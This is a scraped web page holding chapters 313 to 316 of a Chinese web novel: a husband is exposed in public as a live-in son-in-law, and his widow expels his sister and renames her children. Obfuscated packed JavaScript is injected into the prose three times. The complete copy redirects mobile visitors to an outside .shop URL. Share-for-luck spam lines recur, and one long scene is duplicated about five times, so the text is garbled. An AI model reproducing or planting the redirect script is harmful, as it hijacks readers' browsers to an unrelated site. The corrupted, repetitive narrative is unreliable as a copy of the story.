“薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 第313章 女人难当 苗菁大声说着: “戚家住在大杂院,一家子靠打杂为生。” 人群里响起一阵嗡嗡声。 有人开始交头接耳。 “戚家原来这么穷?” “可不是嘛,我听老人说过,戚家老爷子就是给人扛活的,他们家太太原是给人浆洗衣裳的,活得不易……” 苗菁的声音继续响起: “薛氏与戚少亭成亲后,所住的元宝胡同宅子——是她的。” “家里的吃用,都是她出。” “公公因此进了工部,婆婆和小姑子也都穿金戴银,使奴唤婢。” 他环顾四周,目光如刀: “一家子鸡犬升天了。” 人群里又是一阵骚动。 “原来是这样……” “啧啧,这薛氏,还真是个财主啊……” “可不是吗,听说外家是江南有名的富商呢……” 苗菁抬起手,压了压那些议论声。 他的声音忽然拔高: “诸位且想想——” “一位国公府的姑娘,为何要嫁这样一个穷举子?” 这个问题像一颗石子投进湖里,激起了层层涟漪。 “对啊,为什么?” “国公府的姑娘,就是庶出,也轮不到一个穷举子吧?” “何况还要贴钱养他们一家?” “这图什么啊?” 议论声越来越乱。 苗菁等了一会儿,才不紧不慢地开口。 “薛氏的父母可不傻。不可能拿着白花花的银子,养着别人一家。” 他顿了顿,一字一顿: “只因当初说好的——” “戚少亭是入赘!” 轰—— 人群彻底炸开了锅。 “入赘?!” “戚少亭是赘婿?!” “天哪,堂堂进士,竟然是赘婿?!” “难怪薛氏要养他们全家!” “难怪住的是人家的宅子,吃的是人家的饭!” “这戚少亭,还真是……” 有人捂着嘴笑。 有人摇头叹气。 有人瞪大了眼睛,满脸难以置信。 那些士子们,脸色更加难看了。 入赘? 他们跪着维护的人,竟然是个赘婿? 这要是传出去,他们这些读书人的脸往哪儿搁? 可苗菁的话还没说完。 “戚少亭 听说看这本书的人都是很幸运的,分享后你的运气会更棒 是入赘,薛家才能心甘情愿拿钱养着这一家老小。” 他的声音不疾不徐,像是在讲一个再寻常不过的故事。 “只是薛氏心善。见戚少亭中了进士,又做了官,想到若他赘婿的身份被人知晓,只怕会抬不起头来,便一直瞒着外人,面上仍做寻常夫妻。” 他顿了顿。 “此事却有媒婆为证,另有戚少亭签的入赘书为证。” 话音落下,薄广已经拉了一个老妇人过来。 “是有这么回事。那会儿戚家老太太托我寻亲,说是家里揭不开锅了,又要供儿子念书,要找个有钱的姑娘,能贴补家用的。正好薛家那边想找个读书人入赘,两家一拍即合……” 她的声音不大,可在这寂静的午门外,每个人都听得清清楚楚。 与此同时,薄广将手中一份文书展开,高高举起。 那文书已经有些泛黄,可上面的字迹依旧清晰。 众人踮起脚尖,伸长脖子看去。 “戚少亭入赘薛家,男就女家,女养全家……” 有**声念了出来。 “将来所生子女,随女方姓……” 文书末尾,清清楚楚地写着几个名字。 戚少亭的签字,薛嘉言的签字。 还有中人的签字。 还有戚家族中一位老人的签字。 红彤彤的指印,按在上面。 一份完善的、无可指摘的入赘文书。 人群里沉默了片刻。 然后,议论声像潮水一样涌来。 “原来是这样……” “薛氏还真是有情有义啊……” “这么些年一直忍着,替那个赘婿瞒着……” “可不是嘛!谁知道戚少亭是这种人?” “要我说,薛氏早该改嫁了!” “就是!守什么孝?那种男人,**活该!” 苗菁又道:“诸位看到了吧——” 他顿了顿,目光扫过那些跪着的士子,扫 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而她那个他们要维护的“死者”,才是个攀附权贵、服用虎狼药、青楼买醉的废物。 他们闹了个天大的笑话。 燕奉站在人群边缘,脸色扭曲得厉害。 他是这个笑话的始作俑者。 是他写的联名书,是他带着人跪在这里,是他差点血溅午门。 他忽然觉得脸上火辣辣的疼,像是被人当众扇了无数个耳光。 人群里,有许多女子,她们听着苗菁的话,听着那些议论,脸上的表情复杂极了。 有一个妇人摇着头,叹息道: “原来薛氏是妻,便是要被处死的**。她变成了‘夫’,此事就理所当然了……” 人群中传来另一个女人的声音,带着一丝苦涩: “真真是女人难当啊……” 旁边的人听了,也都沉默了。 是啊。 同样的事。 换一个身份,就是天壤之别。 这世道…… 第314章 薛宅 长宜宫内殿,薛嘉言靠着姜玄坐着,忽然想起那句“平明上马入宫门。 “你从前答应过我,要教我骑马的。这都快三年啦! 薛嘉言有些埋怨说道。 姜玄笑了,“这不是一直忙吗? 薛嘉言哼了一声,忽然狡黠一笑:“既如此,苏辞就快回京了…… 姜玄的眼睛微微眯起来。 薛嘉言看着他,嘴角弯起一个弧度:“他可是骑射高手。你要是没时间,我就请苏辞教我。 姜玄伸手捏了捏薛嘉言的脸。 “不许让他教。他的声音低低的,哑哑的。 “那你什么时候教我? 姜玄松开手,用指腹揉了揉,轻声哄道:“忙完这阵子,一定教你骑马。 薛嘉言瞪着他。 “这阵子是多久? 姜玄想了想。 “最多一个月。 薛嘉言有些不信,“当真? 姜玄笑道:“金口玉言,绝不欺你。 薛嘉言坐着金车出宫时,已是黄昏。 其实她的心情并不似在长宜宫里那般轻松,因姜玄说得笃定,她也便顺着他,假作不在意此事。 她心中隐隐担忧午门前的事情不好收场,倘若姜玄太过强硬,便是得罪了天下读书人,对于他的君声有影响。 金车很快到了午门。 薛嘉言撩开车帘,往外看了一眼。 午门外,空空荡荡。 只有几个禁军在来回巡逻。 那些青衫,那些呼喊,那些人—— 全都不见了。 薛嘉言愣住了。 她放下车帘,靠在车壁上,心里满是疑惑,姜玄到底是怎么做到的? 那些人气势汹汹,不达目的誓不罢休。怎么忽然就散了? 马车辘辘得往前走。 金铃叮叮当当,很快停在元宝胡同口。 薛嘉言下了车,看到眼前一幕,她愣住了。 吕舟正带着几个人,在拆门上的牌匾。 那块“戚宅的匾额,已经被人取了下来,靠在墙边。 薛嘉言正要开口问,吕舟已经看见了她。 他笑着迎上来,行了一礼。 “主子,咱们家的牌匾该换了。 他朝旁边指了指。 薛嘉言顺着他的手指看去。 地上放着一块崭新的匾额,上面刻着两个大字—— “薛宅。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 薛嘉言的心猛地跳了一下。 她当然听得出吕舟口中的“有人”是指谁。 这世道以夫为尊,她嫁到戚家,哪怕戚少亭**,这个宅子也只能叫“戚宅”。 这是规矩,这是礼法,这是谁都改不了的事。 可姜玄派人送来“薛宅”的匾额…… 这是什么意思? 吕舟在旁边笑着说: “主子,这匾额可是好东西。上好的金丝楠木……” 薛嘉言走进春和院时,心里还在想着那块匾额。 吕氏坐在桌前,她的眼睛红肿着,像是刚刚哭过。 薛嘉言心里一咯噔。 “娘?” 她快步走过去。 “娘,你怎么了?” 吕氏抬起头,看见她,忽然笑了,笑中带泪 她站起来,迎上去,一把拉住薛嘉言的手。 “嘉嘉……” 她的声音发颤。 “娘就算今日**,也能瞑目了。” 薛嘉言吓了一跳。 “娘!你说什么呢!” 她扶着吕氏坐下,急声问道: “到底怎么了?” 吕氏拿帕子点了点眼角,深吸一口气。 然后,她把今日午门外发生的事,一五一十地说了。 阿吉出来作证,春意楼的掌柜和玉柳的证词,那份入赘文书,那些士子们的反应,还有苗菁当众说的那些话…… 薛嘉言听着,心里翻江倒海。 难怪姜玄并不慌乱,原来他已设计好了一切。 吕氏说完,又拿帕子点了点眼角。 “我没想到……” 她的声音哽咽。 “我没想到,他竟这么细心,把这些**情都打听到了。” 薛嘉言看着她。 吕氏继续道: “当年,我的确动过让戚少亭入赘的心思。也请了媒婆上门说和……” 薛嘉言愣住了,这件事,她并不知道。 吕氏叹了口气。 “是你爹没同意。他说,戚少亭毕竟是个读书人。读书人都是有傲骨的。若是入赘了,只怕心里有了疙瘩,反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她十一岁那年,两家议亲,她年纪小,又是女孩,自然没有过问的道理。她只知道哥哥要娶一个有钱的姑娘,以后家里就有好日子过了。 原来当初竟不是娶,而是入赘吗? 那她以后该怎么办? 戚倩蓉的眼泪涌了出来。 “我去找娘!” 她提起裙子,跌跌撞撞地跑出去。 第315章 我不走 栾氏被毒哑之后,日子就变得漫长而难熬。不能说话,不能骂人,整个人一下子老了许多。 戚倩蓉冲进来时,她吓了一跳。 “娘!娘!” 戚倩蓉扑到她面前,一把抓住她的手。 “出事了!出大事了!” 栾氏瞪大眼睛,啊啊地叫着,手比划着,脸涨得通红。 她急,可她说不出来。 戚倩蓉也不管她听不听得懂,一股脑地把事情说了。 “午门外那些人散了!锦衣卫说,哥哥是长公主的面首!说哥哥服用虎狼药才死的!说哥哥是入赘到薛家的!” 栾氏的眼睛瞪得更大了。 她拼命摆手,嘴里啊啊地叫着。 不是真的! 不是真的! 可她说不出话来。 戚倩蓉看着她那个样子,心里更慌了。 “不是真的,对不对?娘,你告诉我,不是真的对不对?” 栾氏拼命点头。 眼泪从她眼里涌出来。 戚倩蓉抱住她,放声大哭。 “可是娘,你说不出来啊!你什么都说不出来!这下怎么办?我们怎么办啊?” 母女俩抱在一起,哭成一团。 就在这时,门被推开了。 拾英站在门口。 身后跟着几个粗使婆子。 她的脸上没什么表情,只是冷冷地看着这一幕。 “戚姑娘。” 戚倩蓉抬起头,看见她,心里一紧。 拾英走进去,站在她面前。 “这里是薛宅。本来我们主子心善,容你们母女住着,也不过是多一碗饭的事情。” 她顿了顿。 “可你不知足啊。与人勾结,暗害我们主子。” 戚倩蓉的脸瞬间变得惨白。 “那就请回老家去吧。” 戚倩蓉的眼泪又涌了出来。 “不!不要!” 她扑过去,想抓拾英的手。 “我们不走!死也不走!” 拾英往后退了一步,避开她的手。 “此事可容不得你。外头车子已经备好了。” 她指了指门外。 “你们也不用收拾了。这家里一草一木,都是姓薛的。容你们穿着身上的衣裳走,已经是恩典了。” 戚倩蓉愣住了。 她低头看看自己。 身上穿的,是上好的绸缎。 头上戴的, 是金簪子。 若是离开这里,回到乡下,要过从前那种日子。 戚倩蓉吓得一个激灵,打了个冷战。 栾氏在旁边啊啊地叫着,手比划着,脸涨得通红。 可没人理她。 拾英摆摆手,“带她们走。” 几个婆子就要上前。 戚倩蓉忽然扑通一声跪了下来。 “拾英姐姐!” 她抱住拾英的腿,泪流满面。 “我不走!这里是我家!你让我见见嫂子,我去求她!我知错了!我真的知错了!请她原谅我一次好不好?” 拾英冷笑一声,“戚姑娘,你还没那么大的面子。” 戚倩蓉的心彻底凉了,可她不肯放手。 她抱着拾英的腿,脑子里飞快地转着。 忽然,她想起一件事,一件她本来打算永远埋在心底的事。 她抬起头。 “拾英姐姐!” 她的声音发颤。 “你告诉嫂子,我告诉她一个秘密!一个天大的秘密!” 拾英的眉头微微动了动。 “秘密?” 戚倩蓉拼命点头。 “只要她让我留下来,我就告诉她!” 拾英看着她,沉默了片刻。 然后她点了点头。 “那你跟我来。” 戚倩蓉爬起来,踉踉跄跄地跟上去。 身后,栾氏啊啊地叫着,伸出手想要抓住她。 可她已经顾不上娘了。 她只想留下来。 不惜一切代价。 戚倩蓉跟着拾英穿过垂花门,走过一条长长的抄手游廊,终于停在了书房门口。 拾英敲了敲门。 “主子,人带来了。” 里面沉默了片刻。 然后一个淡淡的声音响起: “进来。” 拾英推开门,侧身让戚倩蓉进去。 戚倩蓉低着头,跨过门槛。 书房里很安静,只有窗外偶尔传来的几声鸟鸣。书案上摊着几本账册,旁边的茶盏里还冒着袅袅的热气。 薛嘉言坐在书案后面,手里拿着一支笔,正在账册上写着什么。 她没有抬头。 戚倩蓉站在那里,手足无措。 她本想扑过去跪下,可薛嘉言不看她,没人看的时候,戏就没办法唱下去。 她只好有些尴尬地站着。 时间一点一点过去。 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 薛嘉言依旧没有抬头。 戚倩蓉的腿开始发软。 终于,薛嘉言放下笔,抬起头。 她的目光淡淡的,从戚倩蓉脸上扫过,“你有什么秘密要告诉我?” 戚倩蓉膝盖一软,扑通一声跪了下去。 薛嘉言没有拦她,只是静静地看着她。 戚倩蓉跪在地上,低着头,肩膀微微发抖。 “嫂、嫂子……” 薛嘉言端起茶盏,抿了一口。 “说吧。” 戚倩蓉咬了咬嘴唇。 “是……是杨夫人让我去告你的。” 薛嘉言的眼睛微微动了动。 戚倩蓉继续道: “那些事都是她告诉我的,证据也是她给我的。那些香囊、那些熏香、那些药材……都是她给我的。她说只要我去告,就能帮哥哥伸冤,就能……” 她说不下去了。 薛嘉言放下茶盏。 “这些我早就知道了。” 戚倩蓉猛地抬起头。 “你……你知道?” “杨氏是我父亲原配的娘家人,原本就与我不睦。她冤枉我的事,你也能信?” 戚倩蓉的眼泪涌了出来。 “嫂子不知,那位夫人说的跟真的一样,由不得我不信啊……” 薛嘉言没有说话。 戚倩蓉膝行几步,抓住薛嘉言的衣摆。 “嫂子,你就看在我年幼无知的份上,原谅我一次吧!” “你已经十八了。” 薛嘉言一字一顿: “还是年幼无知?” 戚倩蓉的脸瞬间涨得通红。 薛嘉言站起来,甩开她的手。 “不过是贪心罢了。” 她走到窗前,背对着戚倩蓉。 “行了,跟着拾英出去吧。她会安排你们回老家的。” 戚倩蓉的眼睛猛地睁大。 “不!嫂子!我不走!” 她扑过去,抱住薛嘉言的小腿。 “我不走!嫂子,我告诉你哥哥的秘密!你不要赶我走!” 薛嘉言低头看着她。 “什么秘密?” 戚倩蓉张了张嘴,又闭上,脸涨得通红,像是有什么难以启齿的话,堵在喉咙里。 薛嘉言等了一会儿,没了耐心。 “不说就出去吧。” 她抬脚要走。 戚倩蓉死死抱住她的腿。 “我说!我说!” 她喘着气,声音发颤: “其实……其实当初嫂子与我哥的婚事,是我哥哥算计来的。” 第316章 改姓 薛嘉言的眉头微微蹙起。 她转过身看着戚倩蓉。 “怎么回事?你且说说。” 戚倩蓉跪在地上低着头声音断断续续。 “当年……当年我哥哥有位同窗曾与嫂子议过亲。那家没同意还把这事当笑话讲给我哥哥他们听……” “我哥哥听完就上了心。他说嫂子出身高偏身份尴尬没有高门大户愿意娶。嫂子外家是富商肯定不缺钱。若能娶回来我们一家子的生计都有了……” 薛嘉言的手在袖中慢慢攥紧。 “哥哥便让父母放下手上的活计连我也不许在家闲着出门盯着高家和你们家。用了两三个月的时间终于摸清了一点规律……” 薛嘉言的眼前开始浮现出当年的画面。 那日她去烧香。 庙祝说南街有“白虎过境”今日不宜走南街恐冲撞了神灵。不如走北街绕过去北街清净还能路过“如意斋”买支平安香。 她听了。 她走了北街。 然后她遇见了高家人。 被他们堵在街上好一顿羞辱。 然后—— 戚少亭出现了。 他冲出来挡在她面前义正言辞地呵斥那些高家人。 他被人推了一把摔在地上疼得起不来身。 她看着他心里又感激又愧疚。 她让丫鬟去叫人来要送他去医馆。 他摆摆手说没事 等母亲带着人赶过来时他才勉强站起来说已经没有大碍了。 多巧。 多及时。 薛嘉言闭上眼睛。 “如意斋那里是高家人寻常出没的地方。” 戚倩蓉的声音还在继续“那日嫂子果真就撞见了他们被好一顿言语羞辱。哥哥适时冲出来仗义执言这才跟嫂子搭上了话……” 她抬起头看着薛嘉言。 “嫂子你看我连这种事情都告诉你了。可见我是真心悔改的!往后我留在家里做牛做马伺候你只求你别让我走……呜呜……” 薛嘉言睁开眼睛看着那张满是泪痕的脸她忍不住摇了摇头。 说她没脑子还真是没脑子。这种事情也敢跟自己这个苦主说?也不怕自己一生气把气都撒在她身上? 戚倩蓉还在哭着。 “嫂子求你了……” 薛嘉言自小就不喜欢人吵闹她知 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 道戚倩蓉深得栾氏的真传平时看着柔弱一旦遇着事了便会撒泼她最怕这种场景。 若是硬要赶她走她一定会闹起来闹得左邻右舍都听见又闹得满城风雨。不如两三句话先把她哄到乡下去待风平浪静再做些什么也方便。 薛嘉言深吸一口气沉着脸说:“你做了这些事情我若还留你在家里人人都知道我好欺负。以后我还如何做生意?如何交际?” 戚倩蓉的脸瞬间变得惨白。 她张了张嘴想说什么可什么都说不出来。 “你暂且回乡下去避避风头。” 戚倩蓉咬着嘴唇想了很久。 她知道这是薛嘉言能给她的最好的结果了。 她闹了这一场 换个人早就把她打出去了。嫂子心软等过阵子风头过去了她托人捎信来嫂子一定能把她们接回来的。 她擦了擦眼泪点了点头。 “好……我听嫂子的。” 薛嘉言没有再说话。 她只是摆了摆手让戚倩蓉出去。 戚倩蓉和栾氏走后薛嘉言觉得日子更加舒心了如今这宅子终于恢复了它本该有的姓氏里里外外也全是她的人再也没有那些令人心烦的人和事她终于可以安安心心地过日子好好抚养两个孩子长大了。 这日阳光晴好院子里棠姐儿正拿着拨浪鼓逗着宁哥儿走路。 宁哥儿刚学会走路不久摇摇晃晃的像只小鸭子引得棠姐儿咯咯笑着。 薛嘉言看着他们嘴角不由自主地弯了起来。 吕氏坐在廊下手里捧着一盏茶看着外孙外孙女玩耍脸上也带着笑。 薛嘉言走过去在她身边坐下。 “娘。” 薛嘉言亲手给吕氏倒了一盏茶递到她手里。 “娘我明日派人去户房给孩子改姓。” 吕氏点了点头“是该改了戚家也不配这两个孩子随他们的姓氏。” 薛嘉言“嗯”了一声轻声说:“我打算让棠姐儿姓薛宁哥儿姓吕。” 吕氏的手猛地一抖。 茶盏里的茶水溅出来落在她手上。 她没有擦只是睁大了眼睛一眨不眨地看着薛嘉言。 薛嘉言抬起头微笑着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300987|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “从前出嫁的时候我就想过。要是将来我能有三五个孩子就跟戚少亭商量商量让其中一个孩子姓吕。将外公这一脉传下去 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。谁知后来……” 她没有说下去。 吕氏的眼圈红了。 她张了张嘴,想说什么,可喉咙像是被什么堵住了,一个字都说不出来。 薛嘉言伸出手,握住她的手。 “如今也好。” 她的声音依旧很轻。 “孩子们不必姓戚了,不如直接改姓吕。” 吕氏的眼泪,终于落了下来。 她反握住薛嘉言的手,握得很紧。 “嘉嘉……” 她的声音哽咽。 “你这么做……只怕惹人非议……” 薛嘉言笑了笑。 “娘,我身上的流言蜚语还少吗?” 她顿了顿。 “不在乎多一点少一点。就这么说定了。明日,我带文书去衙门。” 吕氏点了点头,眼泪止不住地流,可她的嘴角,却弯了起来。 棠姐儿跑过来,扑进薛嘉言怀里。 “娘!娘!宁哥儿追不上我!” 宁哥儿在后面摇摇晃晃地跑过来,小脸跑得红扑扑的,嘴里咿咿呀呀地叫着。 薛嘉言一把抱起棠姐儿,在她脸上亲了一口。 宁哥儿一扭一扭跑过来,伸着手道:“娘!我也要抱!” 薛嘉言笑着把他也搂过来,两个孩子一左一右窝在她怀里,叽叽喳喳地说着话。 就在这时,门房的老张头匆匆走来。 “太太,姑娘,薛大老爷来了。” 薛嘉言的笑容,微微顿住。 吕氏的脸,也沉了下来。 薛嘉言没有说话,只是低头看着怀里的孩子。 宁哥儿不知道发生了什么,还在咿咿呀呀地叫着。棠姐儿却敏感地察觉到气氛不对,安静下来,看看娘,又看看姥姥。 吕氏放下茶盏,声音冷冷的: “让人回了他。就说我们母女还活着,不劳他挂念。” 